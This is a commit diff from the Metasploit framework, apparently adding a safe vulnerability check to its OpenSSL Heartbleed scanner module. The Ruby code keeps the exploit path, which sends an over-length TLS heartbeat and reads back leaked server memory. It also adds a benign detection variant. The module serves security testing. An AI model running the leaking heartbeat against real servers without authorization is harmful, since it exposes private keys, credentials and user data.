Skip to content

Commit 5b0b5d9

Browse files
author
Tod Beardsley
committed
Land rapid7#3252, check() functionality for Heartbleed
2 parents 71a650f + a2d6c58 commit 5b0b5d9

File tree

1 file changed

+86
-49
lines changed

1 file changed

+86
-49
lines changed

modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

Lines changed: 86 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -145,6 +145,10 @@ def run
145145
super
146146
end
147147

148+
def max_record_length
149+
1 << 14
150+
end
151+
148152
def heartbeat_length
149153
datastore["HEARTBEAT_LENGTH"]
150154
end
@@ -241,65 +245,93 @@ def tls_ftp
241245
res
242246
end
243247

244-
def run_host(ip)
245-
connect
248+
def check_host(ip)
249+
heartbeat_data = test_host(ip, true)
246250

247-
unless datastore['STARTTLS'] == 'None'
248-
vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")
249-
res = self.send(TLS_CALLBACKS[datastore['STARTTLS']])
250-
if res.nil?
251-
vprint_error("#{peer} - STARTTLS failed...")
252-
return
253-
end
251+
if heartbeat_data
252+
return Exploit::CheckCode::Appears
254253
end
255254

256-
vprint_status("#{peer} - Sending Client Hello...")
257-
sock.put(client_hello)
255+
Exploit::CheckCode::Safe
256+
end
258257

259-
server_hello = sock.get
260-
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
261-
vprint_error("#{peer} - Server Hello Not Found")
262-
return
263-
end
258+
def test_host(ip, safe = false)
259+
heartbeat_data = nil
260+
begin
261+
connect
262+
263+
unless datastore['STARTTLS'] == 'None'
264+
vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")
265+
res = self.send(TLS_CALLBACKS[datastore['STARTTLS']])
266+
if res.nil?
267+
vprint_error("#{peer} - STARTTLS failed...")
268+
return
269+
end
270+
end
264271

265-
vprint_status("#{peer} - Sending Heartbeat...")
266-
sock.put(heartbeat(heartbeat_length))
267-
hdr = sock.get_once(5)
268-
if hdr.blank?
269-
vprint_error("#{peer} - No Heartbeat response...")
270-
return
271-
end
272+
vprint_status("#{peer} - Sending Client Hello...")
273+
sock.put(client_hello)
272274

273-
unpacked = hdr.unpack('Cnn')
274-
type = unpacked[0]
275-
version = unpacked[1] # must match the type from client_hello
276-
len = unpacked[2]
277-
278-
# try to get the TLS error
279-
if type == ALERT_RECORD_TYPE
280-
res = sock.get_once(len)
281-
alert_unp = res.unpack('CC')
282-
alert_level = alert_unp[0]
283-
alert_desc = alert_unp[1]
284-
msg = "Unknown error"
285-
# http://tools.ietf.org/html/rfc5246#section-7.2
286-
case alert_desc
287-
when 0x46
288-
msg = "Protocol error. Looks like the chosen protocol is not supported."
275+
server_hello = sock.get
276+
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
277+
vprint_error("#{peer} - Server Hello Not Found")
278+
return
289279
end
290-
vprint_error("#{peer} - #{msg}")
291-
disconnect
292-
return
293-
end
294280

295-
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]
296-
vprint_error("#{peer} - Unexpected Heartbeat response")
281+
vprint_status("#{peer} - Sending Heartbeat...")
282+
if safe
283+
# 3 is magical. As you know.
284+
sock.put(heartbeat(max_record_length - 3, safe) + heartbeat(0, safe))
285+
else
286+
sock.put(heartbeat(heartbeat_length))
287+
end
288+
hdr = sock.get_once(5)
289+
if hdr.blank?
290+
vprint_error("#{peer} - No Heartbeat response...")
291+
return
292+
end
293+
294+
unpacked = hdr.unpack('Cnn')
295+
type = unpacked[0]
296+
version = unpacked[1] # must match the type from client_hello
297+
len = unpacked[2]
298+
299+
# try to get the TLS error
300+
if type == ALERT_RECORD_TYPE
301+
res = sock.get_once(len)
302+
alert_unp = res.unpack('CC')
303+
alert_level = alert_unp[0]
304+
alert_desc = alert_unp[1]
305+
msg = "Unknown error"
306+
# http://tools.ietf.org/html/rfc5246#section-7.2
307+
case alert_desc
308+
when 0x46
309+
msg = "Protocol error. Looks like the chosen protocol is not supported."
310+
end
311+
vprint_error("#{peer} - #{msg}")
312+
return
313+
end
314+
315+
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]
316+
vprint_error("#{peer} - Unexpected Heartbeat response")
317+
return
318+
end
319+
320+
vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
321+
322+
length = safe ? max_record_length : heartbeat_length
323+
heartbeat_data = sock.get_once(length) # Read the magic length...
324+
rescue EOFError
325+
vprint_error("#{peer} - EOFError")
326+
ensure
297327
disconnect
298-
return
299328
end
329+
heartbeat_data
330+
end
331+
332+
def run_host(ip)
333+
heartbeat_data = test_host(ip)
300334

301-
vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
302-
heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length...
303335
if heartbeat_data
304336
print_good("#{peer} - Heartbeat response with leak")
305337
report_vuln({
@@ -332,10 +364,15 @@ def run_host(ip)
332364
end
333365
end
334366

335-
def heartbeat(length)
367+
def heartbeat(length, safe = false)
336368
payload = "\x01" # Heartbeat Message Type: Request (1)
337369
payload << [length].pack("n") # Payload Length: 65535
338370

371+
# handle safe detection
372+
if safe
373+
payload << Array.new(length, 1).pack("C*") # Dummy values
374+
end
375+
339376
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
340377
end
341378

0 commit comments

Comments
 (0)